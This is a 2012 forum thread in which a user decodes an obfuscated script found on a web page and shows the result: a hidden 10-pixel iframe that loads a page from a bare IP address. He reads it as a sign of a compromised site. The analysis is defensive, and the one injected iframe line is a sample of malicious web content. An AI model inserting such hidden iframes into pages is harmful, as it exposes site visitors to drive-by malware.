How to decode suspicious script?

cd34 · 2012-05-07, 11:24 AM

Code:

<iframe src="http://94.75.234.244/45612777.html" style="visibility: hidden; position: absolute; left: 0px; top: 0px;" height="10" width="10"></iframe>

The iframe uses an IP address rather than a domain, points to a server at leaseweb, however, the url 404s. The fact that it is an iframe, is hidden, and served with obfuscated code suggests something isn't right. However, you might contact the webmaster and ask what it is for. It is likely his site has been compromised and the code has been added without his knowledge.

(Firefox, View Generated Source from the Web Developers Toolkit)

2012-05-07, 11:24 AM	#2
cd34 a.k.a. Sparky Join Date: Sep 2004 Location: West Palm Beach, FL, USA Posts: 2,396	Code: <iframe src="http://94.75.234.244/45612777.html" style="visibility: hidden; position: absolute; left: 0px; top: 0px;" height="10" width="10"></iframe> The iframe uses an IP address rather than a domain, points to a server at leaseweb, however, the url 404s. The fact that it is an iframe, is hidden, and served with obfuscated code suggests something isn't right. However, you might contact the webmaster and ask what it is for. It is likely his site has been compromised and the code has been added without his knowledge. (Firefox, View Generated Source from the Web Developers Toolkit) __________________ SnapReplay.com a different way to share photos - iPhone & Android